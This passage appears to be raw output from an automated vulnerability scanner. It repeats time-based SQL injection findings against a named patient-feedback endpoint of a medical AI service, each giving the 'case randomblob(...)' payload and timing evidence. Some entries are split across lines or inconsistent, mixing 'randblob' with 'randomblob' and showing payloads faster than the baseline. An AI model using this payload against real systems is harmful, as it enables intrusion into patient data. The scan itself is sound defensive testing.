Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,139] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,585] milliseconds, when the original unmodified query with value [226] took [2,020] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,170] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,277] milliseconds, when the original unmodified query with value [336] took [888] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,170] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,277] milliseconds, when the original unmodified query with value [336] took [888] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,247] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,753] milliseconds, when the original unmodified query with value [1506] took [1,123] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,247] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,753] milliseconds, when the original unmodified query with value [1506] took [1,123] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,286] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,547] milliseconds, when the original unmodified query with value [312] took [1,881] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,286] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,547] milliseconds, when the original unmodified query with value [312] took [1,881] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,308] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,549] milliseconds, when the original unmodified query with value [236] took [1,899] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,308] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,549] milliseconds, when the original unmodified query with value [236] took [1,899] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,314] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,068] milliseconds, when the original unmodified query with value [344] took [1,605] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,314] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,068] milliseconds, when the original unmodified query with value [344] took [1,605] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,324] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,032] milliseconds, when the original unmodified query with value [700] took [2,318] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,324] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,032] milliseconds, when the original unmodified query with value [700] took [2,318] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,356] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,196] milliseconds, when the original unmodified query with value [322] took [2,122] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,356] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,196] milliseconds, when the original unmodified query with value [322] took [2,122] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,375] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,390] milliseconds, when the original unmodified query with value [1538] took [4,124] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,375] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,390] milliseconds, when the original unmodified query with value [1538] took [4,124] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,440] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [4,418] milliseconds, when the original unmodified query with value [0] took [4,353] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,440] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [4,418] milliseconds, when the original unmodified query with value [0] took [4,353] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,476] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [8,123] milliseconds, when the original unmodified query with value [222] took [2,004] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,476] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [8,123] milliseconds, when the original unmodified query with value [222] took [2,004] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,500] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,996] milliseconds, when the original unmodified query with value [800] took [1,267] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,500] milliseconds, parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,996] milliseconds, when the original unmodified query with value [800] took [1,267] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,534] milliseconds, parameter
Evidence	value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,894] milliseconds, when the original unmodified query with value [317] took [3,062] milliseconds.

Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,534] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,894] milliseconds, when the original unmodified query with value [317] took [3,062] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,541] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,930] milliseconds, when the original unmodified query with value [295] took [1,488] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,541] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,930] milliseconds, when the original unmodified query with value [295] took [1,488] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,566] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,800] milliseconds, when the original unmodified query with value [183] took [1,276] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,566] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,800] milliseconds, when the original unmodified query with value [183] took [1,276] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,593] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [4,879] milliseconds, when the original unmodified query with value [226] took [1,544] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,593] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [4,879] milliseconds, when the original unmodified query with value [226] took [1,544] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,635] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,955] milliseconds, when the original unmodified query with value [252] took [2,807] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,635] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,955] milliseconds, when the original unmodified query with value [252] took [2,807] milliseconds.

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,648] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [4,158] milliseconds, when the original unmodified query with value [147] took [2,299] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,648] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [4,158] milliseconds, when the original unmodified query with value [147] took [2,299] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,760] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [6,200] milliseconds, when the original unmodified query with value [580] took [1,415] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,760] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [6,200] milliseconds, when the original unmodified query with value [580] took [1,415] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,776] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,156] milliseconds, when the original unmodified query with value [229] took [2,759] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,776] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,156] milliseconds, when the original unmodified query with value [229] took [2,759] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,789] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,835] milliseconds, when the original unmodified query with value [366] took [1,515] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,789] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the
Info	request to take [2,835] milliseconds, when the original unmodified query with value [366] took [1,515] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,792] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,833] milliseconds, when the original unmodified query with value [244] took [1,601] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,792] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,833] milliseconds, when the original unmodified query with value [244] took [1,601] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,824] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,971] milliseconds, when the original unmodified query with value [239] took [3,830] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,824] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,971] milliseconds, when the original unmodified query with value [239] took [3,830] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,929] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,941] milliseconds, when the original unmodified query with value [287] took [2,656] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,929] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,941] milliseconds, when the original unmodified query with value [287] took [2,656] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,948] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,161] milliseconds, when the original unmodified query with value [761] took [1,198] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,948] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,161] milliseconds, when the original unmodified query with value [761] took [1,198] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,007] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,160] milliseconds, when the original unmodified query with value [510] took [2,979] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,007] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,160] milliseconds, when the original unmodified query with value [510] took [2,979] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,073] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [4,173] milliseconds, when the original unmodified query with value [510] took [3,408] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,073] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [4,173] milliseconds, when the original unmodified query with value [510] took [3,408] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,143] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,283] milliseconds, when the original unmodified query with value [517] took [1,429] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,143] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,283] milliseconds, when the original unmodified query with value [517] took [1,429] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,150] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,155] milliseconds, when the original unmodified query with value [451] took [2,610] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,150] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,155] milliseconds, when the original unmodified query with value [451] took [2,610] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,225] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,315] milliseconds, when the original unmodified query with value [785] took [3,304] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,225] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,315] milliseconds, when the original unmodified query with value [785] took [3,304] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,248] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,705] milliseconds, when the original unmodified query with value [856] took [2,083] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,248] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,705] milliseconds, when the original unmodified query with value [856] took [2,083] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,410] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,436] milliseconds, when the original unmodified query with value [31] took [3,066] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,410] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,436] milliseconds, when the original unmodified query with value [31] took [3,066] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,468] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [6,004] milliseconds, when the original unmodified query with value [441] took [2,224] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,468] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [6,004] milliseconds, when the original unmodified query with value [441] took [2,224] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,643] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the

request to take [3,566] milliseconds, when the original unmodified query with value [829] took [2,129] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,643] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,566] milliseconds, when the original unmodified query with value [829] took [2,129] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(1000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,669] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,912] milliseconds, when the original unmodified query with value [778] took [1,212] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,669] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,912] milliseconds, when the original unmodified query with value [778] took [1,212] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(1000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,775] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,871] milliseconds, when the original unmodified query with value [1555] took [1,412] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,775] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,871] milliseconds, when the original unmodified query with value [1555] took [1,412] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(1000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,810] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,510] milliseconds, when the original unmodified query with value [512] took [1,888] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,810] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,510] milliseconds, when the original unmodified query with value [512] took [1,888] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(1000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,911] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,316] milliseconds, when the original unmodified query with value [324] took [867] milliseconds.

The query time is controllable using parameter value [case randomblob(1000000) when not

Other Info	<p>null then 1 else 1 end], which caused the request to take [2,911] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,316] milliseconds, when the original unmodified query with value [324] took [867] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(1000000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,940] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [4,039] milliseconds, when the original unmodified query with value [356] took [3,070] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,940] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [4,039] milliseconds, when the original unmodified query with value [356] took [3,070] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(1000000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,964] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,175] milliseconds, when the original unmodified query with value [336] took [2,333] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,964] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,175] milliseconds, when the original unmodified query with value [336] took [2,333] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(1000000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [268] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,296] milliseconds, when the original unmodified query with value [1201] took [258] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [268] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,296] milliseconds, when the original unmodified query with value [1201] took [258] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(1000000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [351] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [652] milliseconds, when the original unmodified query with value [1550] took [925] milliseconds.</p>
Other	<p>The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [351] milliseconds, parameter</p>

Info	value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [652] milliseconds, when the original unmodified query with value [1550] took [925] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [367] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [787] milliseconds, when the original unmodified query with value [336] took [4,960] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [367] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [787] milliseconds, when the original unmodified query with value [336] took [4,960] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [516] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [783] milliseconds, when the original unmodified query with value [458] took [902] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [516] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [783] milliseconds, when the original unmodified query with value [458] took [902] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [749] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,965] milliseconds, when the original unmodified query with value [321] took [1,119] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [749] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,965] milliseconds, when the original unmodified query with value [321] took [1,119] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [770] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [774] milliseconds, when the original unmodified query with value [652.7058823529411] took [1,384] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [770] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [774] milliseconds, when the original unmodified query with value [652.7058823529411] took [1,384] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(1000000) when not null then 1 else 1 end
